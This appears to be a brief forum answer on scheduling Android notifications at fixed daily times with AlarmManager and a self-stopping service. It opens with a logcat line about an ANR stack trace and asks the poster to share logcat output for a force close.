07-27 16:25:20.803: I/dalvikvm(363): Wrote stack trace to '/data/anr/traces.txt'
If your aim is to trigger a notification at fixed times in a day, use AlarmManager to do this, as follows:
When application is started for first time, save those EditText values, etc as you are doing now - then set up AlarmManager to wake up your service at the nearest next notification time.
In the service, post the notification, set the next Alarm, and stopSelf().
This cycle will continue.
As for the force close, paste your logcat. Your code is not very neat, variables not meaningfully named, so its difficult to tell.